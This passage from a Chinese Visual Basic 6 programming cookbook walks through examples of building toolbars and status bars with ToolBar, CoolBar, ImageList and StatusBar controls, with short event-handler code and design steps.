初级

趣味指数：[image: ]




实例说明

大多数软件的工具栏都是带提示功能的，即使用鼠标在按钮上停留一会儿就会出现一个工具提示条。这样能够使用户了解按钮的功能，更好地使用程序，程序的运行效果如图10.11所示。

[image: ]
图10.11　工具提示条



关键技术

ToolBar控件的按钮工具提示条是通过设置相应按钮的“工具提示文本”实现的。在相应按钮的“工具提示文本”文本框中输入要提示的文本内容，即可显示工具提示条。

设计过程

（1）按照实例296和实例297的方法在窗体上创建工具栏，并为工具栏添加图标。

（2）将工具栏的属性页切换到“通用”选项卡。

（3）将“通用”选项卡中的“样式”设置为1-tbrFlat，显示为平滑的按钮。

（4）将属性页切换到“按钮”选项卡，为工具栏添加按钮。设置按钮的属性为“工具提示文本”，即可为按钮添加工具提示条，如图10.12所示。

[image: ]
图10.12　为按钮添加工具提示条



秘笈心法

心法领悟299：关联ImageList控件。

要增加或删除ImageList控件中的图像，必须先将ToolBar控件的“图像列表”框中的值设置为“无”，即与ImageList切断连接，否则VB将无法对ImageList控件中的图像进行编辑。



 实例300　为工具栏添加事件处理代码

光盘位置：光盘\MR\10\300

初级

趣味指数：[image: ]




实例说明

[image: ]
图10.13　为工具栏添加事件处理代码



工具栏大多都包含了程序的主要功能，可通过工具栏的按钮事件来实现相应的功能。本实例演示如何为工具栏添加事件处理代码，程序的运行效果如图10.13所示。

关键技术

在设计时，使用鼠标双击工具栏控件按钮，即可切换到代码编辑窗口，并自动添加了工具栏控件的ButtonClick事件。实际上，工具栏上的按钮是控件数组，单击工具栏上的按钮会发生ButtonClick事件或者ButtonMenuClick事件，其中主要利用数组的索引（Index属性）或关键字（Key属性）来识别被单击的按钮。

例如，在前面制作的简单工具栏中，已经设置好了索引（Index属性）和关键字（Key属性），只需通过关键字判断单击的是哪个按钮就可以了。

设计过程

（1）新建VB工程，创建一个新窗体。

（2）将ToolBar等控件添加到工具箱中，在窗体上添加一个ToolBar控件。

（3）在窗体上添加一个ImageList控件，并添加图标。

（4）为ToolBar控件添加按钮并设置图标。

（5）主要程序代码如下：



Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
    Select Case Button.Key
    Case "open"
        MsgBox "添加打开的代码"
    Case "save"
        MsgBox "添加保存的代码"
    Case Is = "quit"
        End
    End Select
End Sub




秘笈心法

心法领悟300：工具栏关联图像列表控件。

当工具栏ToolBar控件的图像列表设置为指定的ImageList控件时，ImageList控件中的图像不可更改，此时要将工具栏控件的图像列表取消，才可修改ImageList控件中的图像。



 实例301　带下拉菜单的工具栏

光盘位置：光盘\MR\10\301

初级

趣味指数：[image: ]




实例说明

开发应用程序时，有时需要在工具栏按钮中添加子选项。例如，在电子相册界面中，“添加”按钮就包括“添加文件”和“添加文件夹”两个选项，这时就要给按钮添加下拉菜单，程序的运行效果如图10.14所示。

[image: ]
图10.14　带下拉菜单的工具栏



关键技术

单击工具栏的下拉菜单触发工具栏的ButtonMenuClick事件，在此事件中使用ButtonMenu.Parent来识别下拉菜单的上一级按钮，然后使用ButtonMenu.Index来区分单击的是哪个下拉菜单。

设计过程

（1）按照前面实例中的方法添加工具栏并为工具栏设置按钮和图标。

（2）为按钮添加下拉菜单要设置按钮的“按钮菜单”内容，如图10.15所示。

[image: ]
图10.15　为按钮添加下拉菜单



（3）在“按钮菜单”区域内单击“插入按钮菜单”按钮可以为按钮添加一个下拉菜单。

（4）设置按钮菜单的文本。

（5）按钮菜单的单击事件代码如下：



Private Sub Toolbar1_ButtonMenuClick(ByVal ButtonMenu As MSComctlLib.ButtonMenu)
    Dim i As Integer
    If ButtonMenu.Parent = "添加" Then
        Select Case ButtonMenu.Index
        Case 1
            CommonDialog1.Filter = "Supported files|*.bmp;*.gif;*.jpg;*.png;*.tif|BMP 文件(*.BMP)|*.BMP|JPG 文件(*.JPG)|*.JPG|GIF 文件(*.GIF)|*.GIF|PNG 文件(*.PNG)|*.PNG|TIF 文件(*.TIF)|*.TIF"
            CommonDialog1.ShowOpen
        Case 2
        End Select
    End If
End Sub




秘笈心法

心法领悟301：下拉菜单工具栏。

要查看ButtonMenu对象，必须将Button对象的Style属性设置为tbrDropDown。要检测用户单击ButtonMenu对象的时间，需使用ToolBar控件的ButtonMenuClick事件。



 实例302　可调整按钮位置的工具栏

光盘位置：光盘\MR\10\302

中级

趣味指数：[image: ]




实例说明

使用软件时，用户可能经常使用工具栏中的某个按钮，而有些按钮并不经常使用，如果设计一个能由用户调整按钮位置的工具栏，无疑会使用户操作起来非常方便。下面介绍如何设计可调整按钮位置的工具栏。运行程序，如图10.16所示，单击“设置”工具栏按钮，在下拉菜单中选择“设置按钮位置”选项，然后单击“员工”按钮，再单击“订货”按钮，即可将“员工”按钮与“订货”按钮位置调换，结果如图10.17所示。

[image: ]
图10.16　调整按钮位置前



[image: ]
图10.17　调整按钮位置后



关键技术

下面分别介绍ToolBar控件的几个对象和属性。

ToolBar控件的对象如下：

（1）ButtonMenus对象：返回一个对ButtonMenus集合的引用，仅在运行时有效。

（2）ImageList对象：返回或设置与另一控件相关的ImageList控件。

（3）Button对象：代表单个按钮，它属于ToolBar控件的Buttons集合。

ToolBar控件的属性如下：

（1）Caption属性：返回菜单对象中的文本。

（2）Key属性：返回或设置字符串，在集合中唯一地标识一个成员。

（3）Image属性：返回或设置数，它唯一指定集合中的对象。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在窗体上添加ToolBar和ImageList控件，并设计如图10.16所示的工具栏。

（3）主要程序代码如下：



Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
    If i = 0 Then
        If j = 0 Then
            j = Button.Index
            Text1.Text = Button.Index
            keymenu1 = Toolbar1.Buttons(j).Caption                '按钮标题
            keymenu2 = Toolbar1.Buttons(j).Key                '按钮关键字
            l = Toolbar1.Buttons(j).Image                    '按钮图像
        Else
            MsgBox ("您确实要调整工具栏按钮的位置吗？")
            Toolbar1.Buttons(j).Caption = Toolbar1.Buttons.Item(Button.Index).Caption
            Toolbar1.Buttons(j).Key = Toolbar1.Buttons.Item(Button.Index).Key
            Toolbar1.Buttons(j).Image = Toolbar1.Buttons.Item(Button.Index).Image
            MsgBox (keymenu1 & "  " & keymenu2)
            Toolbar1.Buttons.Item(Button.Index).Caption = keymenu1
            Toolbar1.Buttons.Item(Button.Index).Key = keymenu2
            Toolbar1.Buttons.Item(Button.Index).Image = l
            i = 1
            j = 0
        End If
    End If
End Sub




秘笈心法

心法领悟302：调用自定义工具栏。

如果将AllowCustomize属性设置为True，则在运行时双击ToolBar控件即可调用“自定义工具栏”对话框。也可用Customize方法调用“自定义工具栏”。



 实例303　浮动工具栏

光盘位置：光盘\MR\10\303

中级

趣味指数：[image: ]




实例说明

在使用编程词典或者金山词霸等工具软件时，软件中经常会提供一些浮动工具栏，这些浮动工具栏可以方便用户的使用，当用户需要使用时，可以通过鼠标划过使其显示出来，当一段时间不使用时，则可以自动隐藏。

运行程序，浮动工具栏将显示在屏幕的顶部，效果如图10.18所示。当一段时间不使用该工具栏时（本程序设置为5秒），浮动工具栏自动收缩，在窗体的顶部显示为小条，效果如图10.19所示。当鼠标划过以后，又显示为图10.18所示的浮动工具栏的形式。

[image: ]
图10.18　浮动工具栏



[image: ]
图10.19　收缩以后的效果



关键技术

本实例主要通过改变窗体的Top属性来实现浮动工具栏的收缩和展开。当鼠标划过时，将窗体展开，当鼠标离开窗体的时间超过5秒时，将窗体隐藏。

去掉窗体标题栏，窗体将不能正常移动，只能显示在启动的位置。这将给用户的使用带来极大的不便，为了解决这一问题，笔者使用了API函数来实现拖动无标题栏窗体。

（1）SendMessage函数

该函数用于调用一个窗口的窗口函数，将一条消息发给那个窗口。除非消息处理完毕，否则该函数不会返回。其返回值是一个Long型值，由具体的消息来决定，该函数的声明形式如下：



Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long




SendMessage函数的参数说明如表10.1所示。

表10.1　SendMessage函数的参数说明



	参数
	说明



	hwnd
	Long型值，要接收消息的那个窗口的句柄



	wMsg
	Long型值，消息的标识符



	wParam
	Long型值，具体取决于消息



	lParam
	Any型值，具体取决于消息




（2）ReleaseCapture函数

该函数可以为当前的应用程序释放鼠标捕获。其返回值是一个Long型值，非0表示成功，0表示失败，语法如下：



Public Declare Function ReleaseCapture Lib "user32" Alias "ReleaseCapture" () As Long




在程序中使用的关键代码如下：



Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 1 Then
        Dim ReturnVal As Long
        X = ReleaseCapture()
        ReturnVal = SendMessage(hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End If
End Sub




设计过程

（1）新建一个标准的VB工程。

（2）新建一个窗体，使用默认名，设置窗体的Caption属性为“浮动工具栏”，设置BorderStyle属性为0-None，窗体无边框。设置ShowInTaskbar属性为True，在无边框窗体中显示任务栏。设置窗体的Picture属性为指定的图片。

（3）在窗体上添加一个PictureBox控件，命名为Pic_Top，设置BorderStyle属性为0-None，设置Picture属性为指定的图片，设置Visible属性为False，控件不显示。

（4）在窗体上添加两个Timer控件，使用默认名，设置Timer1控件的Enabled属性为False，控件不可用，设置Interval属性为5000，时间间隔为5秒。设置Timer2控件的Interval属性为300，300毫秒执行一次。

（5）当鼠标在Pic_Top控件上移动时，Pic_Top控件不可用，浮动工具栏展开，程序代码如下：



Private Sub Pic_Top_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Pic_Top.Visible = False                                '设置图片控件不可用
    Dim i As Integer                                    '定义整型变量循环计数
    For i = 1 To 50
        Me.Top = Me.Top + 10                                '设置窗体的Top属性，展开浮动工具栏
    Next i
    Me.Top = 0                                        '设置窗体的Top属性为0
End Sub




窗体展开以后，如果鼠标在窗体内部移动，设置Timer1控件不可用，否则设置Timer1控件可用，5秒钟以后窗体收缩，程序代码如下：



Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim MouseEnter As Boolean                                '定义布尔型变量存储鼠标是否在窗体内
    '根据鼠标位置判断是否在窗体内部
    MouseEnter = (0 <= X) And (X <= Me.Width) And (0 <= Y) And (Y <= Me.Height)
    If MouseEnter Then                                    '如果鼠标在窗体内部
        Timer1.Enabled = False                                'Timer1控件不可用
    Else                                            '鼠标移出窗体，开始计时，5秒收缩
        ReleaseCapture                                    '释放鼠标捕获
        Timer1.Enabled = True                                'Timer1控件可用
    End If
End Sub




秘笈心法

心法领悟303：保存工具栏状态。

为了保存ToolBar控件的状态，用SaveToolBar方法将其写到Windows注册表中。可用RestoreToolBar方法读出先前保存在注册表中的信息，从而将ToolBar控件恢复到先前状态。



 实例304　根据表中数据动态生成工具栏

光盘位置：光盘\MR\10\304

中级

趣味指数：[image: ]




实例说明

设计工具栏通用的方法是手工设置，如果程序已生成执行文件，工具栏要求根据需要进行调整，那么该如何使用户动态调整工具栏呢？本实例将介绍如何根据表中数据动态生成工具栏，结果如图10.20所示。

[image: ]
图10.20　动态生成工具栏



关键技术

将工具栏按钮的设置数据存放到数据库或ini文件中，程序执行时，通过存放在数据库或ini文件中的数据建立工具栏。要修改数据，只需修改相关数据，程序不需要做任何改动。下面介绍添加工具栏按钮和添加工具栏按钮菜单的方法。

添加工具按钮可以使用Button对象的Add方法，该方法介绍如下。

Add方法可以将Button对象添加到Buttons集合中，并返回对新创建对象的引用，语法如下：



object.Add(index, key, caption, style, image)




参数说明如表10.2所示。

表10.2　Button对象的Add方法的参数说明



	参数
	说明



	object
	必选参数。对象表达式，其值是Buttons集合



	index
	可选参数。整数，它指定要插入Button对象的位置。如果没有指定任何index，则将Button对象添加到Buttons集合的末尾



	key
	可选参数。唯一标识Button对象的字符串。用这个值检索特定的Button对象



	caption
	可选参数。将出现在Button对象之下的字符串



	style
	可选参数。Button对象的样式。在Style属性（Button对象）中详细描述了可用的样式



	image
	可选参数。整数或唯一关键字，在某个相关联的ImageList控件内，它指定一个ListImage对象




例如，在工具栏上动态添加一个工具栏按钮，代码如下：



Dim btnX As Button
Set btnX = Toolbar1.Buttons.Add(, "open", , tbrDefault, "open")




添加工具栏按钮菜单可以使用ButtonMenu对象的Add方法，该方法介绍如下：

Add方法可以向ButtonMenus集合中添加一个ButtonMenu对象，并返回对新创建对象的引用，语法如下：



object.Add (index, key, text)




参数说明如表10.3所示。

表10.3　ButtonMenus集合的Add方法的参数说明



	参数
	说明



	object
	必选参数。一个对象表达式



	index
	可选参数。一个整数，指定对象插入的位置，如果没有指定此参数，对象将添加到集合的末尾



	key
	可选参数。一个字符串，唯一标识该对象，使用该值在集合中检索指定的对象



	text
	必选参数。出现在菜单中的字符串




例如，在工具栏按钮上动态添加一个菜单（来源于数据表中的字段），代码如下：



  Set btny = Toolbar1.Buttons(i).ButtonMenus.Add(, Rs!Key, Rs!Name)





说明：
 要查看ButtonMenu对象，必须将Button对象的Style属性设置为tbrDropDown。要检测用户单击ButtonMenu对象的时间，需使用ToolBar控件的ButtonMenuClick事件。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在窗体上添加ToolBar和ImageList控件。

（3）主要程序代码如下：



Private Sub Form_Activate()
    Toolbar1.ImageList = ImageList1
    Dim btnX As Button
    Dim btny As ButtonMenu
    myrs.Open "select *  from menu where child <1", Cn, , , adCmdText
    If myrs.BOF Then myrs.MoveFirst
    For i = 1 To myrs.RecordCount
        Set btnX = Toolbar1.Buttons.Add(, myrs!Key, myrs!Name, myrs!Type, Val(myrs!Image))
        If myrs!Memo > 0 Then
            btnX.ToolTipText = myrs!Memo
            btnX.Description = btnX.ToolTipText
        End If
        If myrs!Type = "5" Then
            Rs.Open "select * from menu where trim(memo) like " & "'" & Trim(myrs!Key) & "'", Cn, , , adCmdText
            If Rs.RecordCount > 0 Then
                For j = 1 To Rs.RecordCount
                    Set btny = Toolbar1.Buttons(i).ButtonMenus.Add(, Rs!Key, Rs!Name)
                    If Not Rs.EOF Then Rs.MoveNext
                Next j
            End If
            Rs.Close
        End If
        If Not myrs.EOF Then myrs.MoveNext
    Next i
End Sub




秘笈心法

心法领悟304：使用RestoreToolBar方法。

当使用RestoreToolBar方法时，任何不包含ImageListListImage对象的工具栏按钮都会消失。用户可再次使用自定义工具栏对话框上的复位按钮使它们可见，可用方法编程调用该对话框。



 实例305　利用CoolBar控件制作工具栏

光盘位置：光盘\MR\10\305

初级

趣味指数：[image: ]




实例说明

随着窗口应用程序功能的日益复杂，为了能够快速使用这些强大的功能，工具条往往塞满了各式各样的按钮，造成整个窗口画面仅工具条区域便占去了一大半，使得可供操作的工作空间变得非常小。

利用CoolBar控件制作的工具栏可以减少空间拥挤的现象。在MS Internet Explorer浏览器中，提供的就是这种类型的工具栏，其组成的结构在一个区域中可以包含多层分组按钮。用户可以通过按下鼠标左键来启动与关闭任一层按钮，或者利用鼠标的拖放来调整工具栏的排列情况，如图10.21所示。

[image: ]
图10.21　CoolBar工具栏



设计过程

下面就使用CoolBar控件制作一个工具栏。

1．加入CoolBar控件

VB 6.0中提供了CoolBar控件这个新成员，可以协助软件设计者制作浏览器样式的工具栏。它是一个存放于COMCT332.ocx文件内的ActiveX控件，要想在VB开发环境中使用它，必须先将其放到工具箱中。添加过程如下：

（1）选择“工程”/“部件”命令，打开“部件”对话框。

（2）在“部件”对话框中选中Microsoft Windows Common Controls-3 6.0复选框，如图10.22所示，单击“确定”按钮，CoolBar控件将被添加到工具箱中。

[image: ]
图10.22　添加CoolBar控件到工具箱



2．设计工具栏

（1）使用ToolBar和ImageList控件制作一个带图标的工具栏。

（2）在窗体上添加CoolBar控件，右击该控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。

（3）选择“带区”选项卡，单击“插入带区”按钮可以新增带区成员，并为这个新成员设置外观特性，同时还可以为其指定图片及文字标题等。

（4）加入子控件。在需要加入子控件的带区内的“子”下拉列表框中选择要加入的子控件，这里选择Tool bar1选项，如图10.23所示。

[image: ]
图10.23　加入子控件



CoolBar工具栏的各个带区可以任意进行调整，单击带区左侧的移动带区，还可展开或收起该带区，或者利用鼠标直接按住外框通过拖动动作来改变带区的大小。

CoolBar工具栏的事件代码应在ToolBar工具栏ButtonClick事件过程中编写，例如，单击第一个按钮，弹出提示框，程序代码如下：



Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
    Select Case Button.Key
    Case Is = "back"
        MsgBox "请在此处添加相应的代码"
 
    End Select
End Sub




秘笈心法

心法领悟305：VariantHeight属性。

当该属性被设置成False时，CoolBar控件将基于全部可见带区最大的MinHeight属性来显示所有带区。当该属性被设置成True时，如果每行只有一个带区，每个带区的高度就是基于它自己的MinHeight属性。如果在一行中有多个带区，这些带区将利用所有在这行中可见带区的最大的MinHeight属性来显示。



 实例306　自己制作工具栏

光盘位置：光盘\MR\10\306

初级

趣味指数：[image: ]




实例说明

除了可以使用ToolBar等制作工具栏之外，也可以使用图形来制作一个漂亮的工具栏。本实例实现使用图片框显示一个工具栏图片，来制作一个工具栏，程序的运行效果如图10.24所示。

[image: ]
图10.24　自己制作工具栏



关键技术

本实例使用Image控件和Label控件制作漂亮的工具栏。在窗体上添加Image控件，为其设置一幅好看的背景图，在背景对应的按钮处放置透明的Label控件，即可实现制作一个工具栏。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在窗体上添加Image控件，并为其设置一个工具栏样式的图片。

（3）在Image图像的相应位置添加Label控件，并设置BackStyle属性值为0-Transparent，显示为透明。

（4）主要程序代码如下：



Private Sub Label1_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    For i = 0 To Label1.UBound
        Label1(i).BorderStyle = 0
    Next i
    Label1(Index).BorderStyle = 1
End Sub
Private Sub Label1_Click(Index As Integer)
    Select Case Index
    Case 5
        End
    End Select
End Sub




秘笈心法

心法领悟306：ImageList控件的ListImages集合的Key属性。

Key属性用于返回或设置字符串，在集合中唯一地标识一个成员。如果字符串不唯一，将发生错误。用Add方法将对象添加到集合中时，可设置Key属性。当集合中的对象被重新排序时，如在设置Sorted属性为True时，对象的Index属性值会改变。如果想要Index属性动态地改变，则使用Key属性引用集合中的对象。


 10.2　状态栏应用



 实例307　显示系统时间的状态栏

光盘位置：光盘\MR\10\307

初级

趣味指数：[image: ]




实例说明

状态栏主要用于显示程序运行时的状态以及一些相关的信息，例如，在状态栏中显示登录程序的用户名和鼠标的位置。本实例显示系统的当前日期和时间，效果如图10.25所示。

[image: ]
图10.25　显示系统时间的状态栏



关键技术

通过对状态栏控件的属性页进行设置，可实现在状态栏中显示相关内容。这里显示系统的时间和日期。在状态栏属性页中可以设置窗格的样式，在窗格样式列表中就包含了系统日期和时间的选项，选择后，相应窗体即显示系统时间和日期。

设计过程

（1）新建VB工程，设置窗体Caption属性为“显示系统时间的状态栏”。

（2）在窗体上添加状态栏控件，状态栏控件StatusBar不是标准控件，使用时也和ToolBar控件一样，需要从“部件”添加到工具箱中，然后再使用该控件。将StatusBar控件添加到工具箱的具体步骤如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Windows Common Controls 6.0复选框，然后单击“确定”按钮，这时StatusBar控件将被添加到工具箱中。

StatusBar控件添加到工具箱后，在程序中就可以使用了。

（3）在窗体上添加一个StatusBar控件。

（4）使用鼠标右键单击StatusBar控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。

（5）在“属性页”对话框中选择“窗格”选项卡，然后单击“插入窗格”按钮，为StatusBar控件添加窗格。

（6）在“文本”文本框中输入窗格显示的内容，将第一个窗格文本设置为“当前日期”；第二个窗格文本为空，设置“样式”为6-sbrDate；第三个窗格文本设置为“当前时间”；第四个窗格文本为空，“样式”设置为5-sbrTime。

（7）如果要改变窗格的宽度，可以通过“最小宽度”设置。

（8）设置完成后单击“确定”按钮。

秘笈心法

心法领悟307：自动调节窗格大小。

如果需要状态栏中的窗格自动调整大小以适应文本的宽度，可以在“自动调整大小”下拉列表框中选择2-sbrContents选项。



 实例308　显示当前用户的状态栏

光盘位置：光盘\MR\10\308

初级

趣味指数：[image: ]




实例说明

状态栏主要用于显示程序运行时的状态以及一些相关的信息，例如，在状态栏中显示登录程序的用户名和鼠标的位置。本实例显示系统的当前登录用户，效果如图10.26所示。

[image: ]
图10.26　显示当前用户的状态栏



关键技术

使用Panel对象的Text属性可以设置状态栏窗格的文本内容。前提是窗格的“样式”要设置为0-sbrText，才能使用Panel对象的Text属性设置窗格文本，否则无法显示文本，可使用如下代码：



statusbar.Panels(index).Text=string




其中，index为要设置文本内容的窗格的索引；string为设置的窗格的字符串。

设计过程

（1）新建VB工程，创建一个登录窗体。

（2）创建带状态栏的窗体。为状态栏添加3个窗格，前两个窗格用于显示系统时间。将第三个窗格样式设置为0-sbrText，文本内容设置为空。

（3）主要程序代码如下：



Private Sub Form_Load()
    StatusBar1.Panels(3).Text = "当前用户：  " & Frmlogin.user  '根据登录窗体记录的当前登录的用户名设置窗格文本
End Sub




秘笈心法

心法领悟308：在代码中设置状态栏窗格文本。

在代码中设置状态栏的窗格文本，使用状态栏Panel对象的Text属性进行设置。但是，前提是窗格的“样式”要设置为0-sbrText，才能使用Panel对象的Text属性设置窗格文本，否则无法显示在代码中设置的文本。



 实例309　时间显示到秒的状态栏

光盘位置：光盘\MR\10\309

初级

趣味指数：[image: ]




实例说明

为了创建人性化的软件，有时需要在状态栏中显示的时间精确到秒。而状态栏样式属性本身提供的时间只能精确到分，所以要显示一个精确到秒的状态栏就需要使用代码进行设置了。本实例设计一个时间显示到秒的状态栏，程序的运行效果如图10.27所示。

[image: ]
图10.27　时间显示到秒的状态栏



关键技术

本实例通过使用Panel对象的Text属性设置状态栏窗格的文本内容来实现在窗格中显示到秒的时间。这里使用了Timer控件，设置Timer控件的Interval属性值为1000，使其一秒钟执行一次。在Timer控件的Timer事件下使用Time函数获取当前系统的时间，并将这个时间值赋给Panel对象的Text属性。

设计过程

（1）新建VB工程，创建一个窗体。

（2）在窗体上添加一个Timer控件，设置其Interval属性值为1000。

（3）在窗体上添加一个状态栏。为状态栏添加4个窗格，窗格1、3、4的样式都设置为0-sbrText。窗格1的文本设置为“当前日期”，窗格3的文本设置为“当前时间”。窗格2的样式设置为6-sbrDate。

（4）主要程序代码如下：



Private Sub Timer1_Timer()
    StatusBar1.Panels(4).Text = Time
End Sub




秘笈心法

心法领悟309：状态栏的单击事件。

只有当单击出现在Panel对象上时，才生成PanelClick事件。当设置StatusBar控件的Style属性为Simple样式时，隐藏面板，此时不生成PanelClick事件。



 实例310　在状态栏中显示鼠标位置

光盘位置：光盘\MR\10\310

初级

趣味指数：[image: ]




实例说明

本实例演示的是如何在状态栏中显示当前鼠标的位置。当程序运行时，随着鼠标在窗体上移动，在窗体的状态栏中将显示当前鼠标的坐标值，如图10.28所示。

[image: ]
图10.28　在状态栏中显示鼠标位置



关键技术

本实例通过使用Panel对象的Text属性设置状态栏窗格的文本内容来实现在窗格中显示鼠标位置。在图像框的MouseMove事件中通过事件传递的X、Y参数可以获取当前鼠标的位置。

设计过程

（1）新建VB工程，创建一个窗体。

（2）设置图像处理窗体。在窗体上添加图像框和工具栏等。

（3）在窗体上添加一个状态栏。为状态栏添加3个窗格，将窗格样式设置为0-sbrText，文本内容设置为空。

（4）主要程序代码如下：



Private Sub Picture2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    StatusBar1.Panels(1).Text = "当前鼠标位置： " & X & "," & Y            '显示当前鼠标位置
End Sub




秘笈心法

心法领悟310：设置状态栏只读。

在设计时可在控件的“属性页”对话框中的“通用”选项卡上设置ShowTips属性，在运行时为只读。



 实例311　在状态栏中显示当前状态

光盘位置：光盘\MR\10\311

初级

趣味指数：[image: ]




实例说明

本实例实现的是如何在状态栏中显示当前操作状态。程序运行后，当选择“选择图形”区域中的图形在“画板”中进行画图操作时，在窗体的状态栏中将显示当前执行的相关操作，例如，在画板中画圆时，状态栏中将显示“执行操作：画圆”的提示信息，效果如图10.29所示。

[image: ]
图10.29　在状态栏中显示当前状态



关键技术

本实例通过使用Panel对象的Text属性设置状态栏窗格的文本内容来实现在窗格中显示当前的操作状态，通过标签的单击事件控制状态栏中的显示信息。

设计过程

（1）新建VB工程，创建一个窗体。

（2）设置画图程序窗体。在窗体上添加图像框、文本框和按钮等控件。

（3）在窗体上添加一个状态栏。为状态栏添加两个窗格，将窗格样式设置为0-sbrText和6-sbrDate，文本内容设置为空。

（4）主要程序代码如下：



Private Sub Label2_Click(Index As Integer)
    Select Case Index
    Case 0                                            '画直线
        shape = 0
        StatusBar1.Panels(1).Text = " 执行操作: 画直线"                '显示当前执行的操作
    Case 1
        shape = 1                                        '画正方形
        StatusBar1.Panels(1).Text = " 执行操作: 画正方形"            '显示当前执行的操作
    Case 2
        shape = 2                                        '画圆
        StatusBar1.Panels(1).Text = " 执行操作: 画圆"                '显示当前执行的操作
    End Select
End Sub




秘笈心法

心法领悟311：状态栏对齐方式。

通过状态栏属性页的“窗格”选项卡可以根据窗格的需要设置窗格内容的对齐方式，包括左对齐、中间对齐和右对齐。



 实例312　在状态栏中显示数据库属性

光盘位置：光盘\MR\10\312

中级

趣味指数：[image: ]




实例说明

可以在状态栏中显示时间、用户名等信息，同时也可以根据数据库的内容将信息显示在状态栏中。本实例实现了在状态栏中显示由数据访问对象打开的数据库的有关信息，程序的运行效果如图10.30所示。

[image: ]
图10.30　在状态栏中显示数据库属性



关键技术

本实例同样是使用Panel对象的Text属性在程序运行时显示数据库的属性信息。只需根据数据访问对象打开数据库获取相关信息，将获取的信息赋给Panel对象的Text属性即可。

设计过程

（1）新建VB工程，创建一个窗体。

（2）在窗体上添加一个List控件，用于显示数据库表中信息。

（3）在窗体上添加一个状态栏。为状态栏添加3个窗格，将窗格样式设置为0-sbrText，文本内容设置为空。

（4）主要程序代码如下：



Private Sub Form_Load()
    Dim rs As New ADODB.Recordset
    Dim cnn As New ADODB.Connection
    Dim cat As New ADOX.Catalog
    cat.ActiveConnection = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_jxc.MDB"
    With StatusBar1
        '将 Text 属性设置为记录集属性
        .Panels(1).Text = "名称：" & cat.Tables(5).Name                    '设置状态栏窗格
        .Panels(2).Text = "创建日期：" & cat.Tables(5).DateCreated
        .Panels(3).Text = "上一次修改的日期：" & cat.Tables(5).DateModified
    End With
    cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_jxc.MDB"
    rs.Open "tb_menu", cnn, adOpenKeyset, adLockOptimistic                '打开记录集
    If rs.RecordCount > 0 Then
        rs.MoveFirst
        Do While rs.EOF = False
            List1.AddItem rs.Fields("name").Value                        '添加列表项
            rs.MoveNext                                        '记录下移
        Loop
    End If
    rs.Close
    cnn.Close
End Sub




秘笈心法

心法领悟312：状态栏的样式设置。

StatusBar控件含有Style属性，该属性能在Simple和Normal样式之间切换。当使用Simple样式时，状态栏仅显示一个面板。使用Simple样式显示的文本与使用Normal样式显示的文本也不同。使用Simple样式显示的文本用SimpleText属性来设置。



 实例313　动态添加状态栏窗格

光盘位置：光盘\MR\10\313

中级

趣味指数：[image: ]




实例说明

在状态栏的属性页可以添加或删除窗格，同样也可以在程序运行时使用代码对窗格进行添加或删除。本实例实现动态添加窗格，并在窗格中显示信息，程序的运行效果如图10.31所示。

[image: ]
图10.31　动态添加状态栏窗格



关键技术

本实例通过创建面板对象，使用面板兑现给的Add方法实现动态添加窗格。Panel对象的Add方法将Panel对象添加到Panels集合中并返回对新建立的Panel对象的引用，语法如下：



object.Add(index, key, text, style, picture)




参数说明如表10.4所示。

表10.4　Panel对象的Add方法的参数说明



	参数
	说明



	object
	对象表达式，其值是Panels集合



	index
	可选参数。指定插入Panel对象的位置的整数。如果没有指定index，则将Panel添加到Panels集合的末端



	key
	可选参数。唯一识别Panel的字符串。使用key检索指定的Panel。这相当于添加对象后对该新的Panel对象设置Key属性



	text
	可选参数。出现在Panel中的字符串。这相当于添加对象后，对该新的Panel对象设置Text属性



	style
	可选参数。面板的样式。在Style属性（Panel对象）中详细讲述了可用的样式。这相当于添加对象后对该新的Panel对象设置Style属性



	picture
	可选参数。指定显示在活动的Panel中的位图。详细信息请参阅LoadPicture函数。这相当于添加对象后对该新的Panel对象设置Picture属性





说明：
 按照默认规定，在控件上已经存在一个Panel。因此，将面板添加到集合以后，Count将比添加的面板数多一个。

设计过程

（1）新建VB工程，创建一个窗体。

（2）在窗体上添加一个状态栏。

（3）主要程序代码如下：



Private Sub Form_Load()
    Dim pnlX As Panel
    Dim i As Integer
    For i = 1 To 6                                  '添加6个面板对象
        '建立一个面板并同时获得对它引用
        Set pnlX = StatusBar1.Panels.Add(, "P" & i)             '设置 Key 属性
        pnlX.Style = i                              '设置 Style 属性
        pnlX.AutoSize = sbrContents                     '设置 AutoSize 属性
        pnlX.Width = 1000
    Next i
    '为第一个面板设置文本
    StatusBar1.Panels(1).Text = "明日科技"
End Sub




秘笈心法

心法领悟313：使用Key属性获取对象。

当集合中的对象被重新排序时，如在设置Sorted属性为True时，对象的Index属性值会改变。如果想要Index属性动态地改变，则可使用Key属性引用集合中的对象。



 实例314　自己制作状态栏

光盘位置：光盘\MR\10\314

初级

趣味指数：[image: ]




实例说明

使用PictureBox控件可以自己制作状态栏，可将Image控件置于PictureBox容器中作为按钮或添加Label显示状态信息。自己制作出的状态栏可以更加灵活地显示相关内容，运行效果如图10.32所示。

[image: ]
图10.32　自己制作状态栏



关键技术

